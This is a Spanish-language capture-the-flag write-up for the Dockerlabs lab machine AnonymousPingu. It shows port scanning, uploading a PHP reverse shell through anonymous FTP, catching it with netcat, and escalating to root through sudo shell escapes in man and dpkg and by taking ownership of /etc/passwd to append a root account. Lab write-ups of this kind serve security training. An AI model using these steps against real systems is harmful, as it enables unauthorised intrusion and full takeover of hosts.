AnonymousPingu es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Fácil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-29 11:52 CEST Initiating ARP Ping Scan at 11:52 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 11:52, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 11:52 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Discovered open port 21/tcp on 172.17.0.2 Completed SYN Stealth Scan at 11:52, 0.87s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-04-29 11:52:55 CEST for 0s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p21,80 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-29 13:29 CEST Nmap scan report for 172.17.0.2 Host is up (0.000095s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 7816 Nov 25 2019 about.html | -rw-r--r-- 1 0 0 8102 Nov 25 2019 contact.html | drwxr-xr-x 2 0 0 4096 Jan 01 1970 css | drwxr-xr-x 2 0 0 4096 Apr 28 18:28 heustonn-html | drwxr-xr-x 2 0 0 4096 Oct 23 2019 images | -rw-r--r-- 1 0 0 20162 Apr 28 18:32 index.html | drwxr-xr-x 2 0 0 4096 Oct 23 2019 js | -rw-r--r-- 1 0 0 9808 Nov 25 2019 service.html |_drwxrwxrwx 1 33 33 4096 Apr 28 21:08 upload [NSE: writeable] | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:172.17.0.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.5 - secure, fast, stable |_End of status 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Mantenimiento MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds |
Empezaremos haciendo un escaneo rápido con dirb para ver que ficheros o carpetas tenemos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
┌──(kali㉿kali)-[~] └─$ dirb http://172.17.0.2 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Apr 29 13:29:43 2024 URL_BASE: http://172.17.0.2/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://172.17.0.2/ ---- ==> DIRECTORY: http://172.17.0.2/css/ ==> DIRECTORY: http://172.17.0.2/images/ + http://172.17.0.2/index.html (CODE:200|SIZE:20162) ==> DIRECTORY: http://172.17.0.2/js/ + http://172.17.0.2/server-status (CODE:403|SIZE:275) ==> DIRECTORY: http://172.17.0.2/upload/ ---- Entering directory: http://172.17.0.2/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://172.17.0.2/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://172.17.0.2/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://172.17.0.2/upload/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Mon Apr 29 13:29:44 2024 DOWNLOADED: 4612 - FOUND: 2 |
Ahora miramos el ftp que tenemos y parece que nos suena esta estructura de carpetas, asi que intentaremos subir una reverse shell en la carpeta upload.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(kali㉿kali)-[~] └─$ ftp 172.17.0.2 Connected to 172.17.0.2. 220 (vsFTPd 3.0.5) Name (172.17.0.2:kali): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ftp> dir 229 Entering Extended Passive Mode (|||36469|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 7816 Nov 25 2019 about.html -rw-r--r-- 1 0 0 8102 Nov 25 2019 contact.html drwxr-xr-x 2 0 0 4096 Jan 01 1970 css drwxr-xr-x 2 0 0 4096 Apr 28 18:28 heustonn-html drwxr-xr-x 2 0 0 4096 Oct 23 2019 images -rw-r--r-- 1 0 0 20162 Apr 28 18:32 index.html drwxr-xr-x 2 0 0 4096 Oct 23 2019 js -rw-r--r-- 1 0 0 9808 Nov 25 2019 service.html drwxrwxrwx 1 33 33 4096 Apr 28 21:08 upload ftp> put sh3ll.php local: sh3ll.php remote: sh3ll.php 229 Entering Extended Passive Mode (|||17744|) 150 Ok to send data. 100% |***********************************************************************| 5495 458.29 KiB/s 00:00 ETA 226 Transfer complete. 5495 bytes sent in 00:00 (428.54 KiB/s) |
Navegamos a la ruta donde lo hemos subido por si aplica

Y nos llega la conexión, siendo www-data
|
1 2 3 4 5 6 7 8 9 10 |
──(root㉿kali)-[/home/kali] └─# nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.2] 52150 Linux 8e5d1b543516 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 x86_64 x86_64 GNU/Linux 10:03:10 up 2 days, 21:52, 0 user, load average: 0.29, 0.46, 0.52 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Tenemos varios usuario en el sistema
|
1 2 3 4 |
www-data@8e5d1b543516:/$ cat /etc/passwd | grep sh$ root:x:0:0:root:/root:/bin/bash pingu:x:1000:1000:,,,,:/home/pingu:/bin/bash gladys:x:1001:1001:,,,:/home/gladys:/bin/bash |
Como siempre, probamos sudo -l para ver si tenemos algún privilegio con algún usuario.
|
1 2 3 4 5 6 7 8 |
www-data@8e5d1b543516:/$ sudo -l Matching Defaults entries for www-data on 8e5d1b543516: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on 8e5d1b543516: (pingu) NOPASSWD: /usr/bin/man |
Viendo gtfobins, escalamos a pingu
|
1 2 3 4 5 6 |
sudo -u pingu /usr/bin/man !/bin/bash pingu@8e5d1b543516:/$ |
Volvemos a probar un sudo -l
|
1 2 3 4 5 6 7 8 9 |
pingu@8e5d1b543516:/$ sudo -l Matching Defaults entries for pingu on 8e5d1b543516: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User pingu may run the following commands on 8e5d1b543516: (gladys) NOPASSWD: /usr/bin/nmap (gladys) NOPASSWD: /usr/bin/dpkg |
Miramos de nuevo gtobins esta vez para dpkg y escalamos a gladys
|
1 2 3 4 5 |
pingu@8e5d1b543516:~$ sudo -u gladys /usr/bin/dpkg -l !/bin/bash gladys@8e5d1b543516:/home/pingu$ |
Una vez mas, sudo -l
|
1 2 3 4 5 6 7 8 |
gladys@8e5d1b543516:/home/pingu$ sudo -l Matching Defaults entries for gladys on 8e5d1b543516: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User gladys may run the following commands on 8e5d1b543516: (root) NOPASSWD: /usr/bin/chown |
Aqui hay varios caminos para escalar a root pero nosotros elegiremos el crear un usuario como root, para ello crearemos una contraseña , cambiaremos propietario de passwd y crearemos un usuario como lo es root, uid,gid,etc
|
1 2 3 4 5 6 7 8 9 10 11 |
gladys@8e5d1b543516:/home/pingu$ openssl passwd yourpass $1$W.MCS1XM$vPgYxOkVKL2wj7lAVAWzf0 gladys@8e5d1b543516:/home/pingu$ sudo /usr/bin/chown gladys. /etc/passwd echo 'privesc:$1$W.MCS1XM$vPgYxOkVKL2wj7lAVAWzf0:0:0::/home/privesc:/bin/bash' >> /etc/passwd gladys@8e5d1b543516:/home/pingu$ su privesc gg13@8e5d1b543516:/root# id uid=0(privesc) gid=0(root) groups=0(root) |
Somos root!!
Y hasta aquí la maquina de AnonymousPingu de la plataforma Dockerlabs!





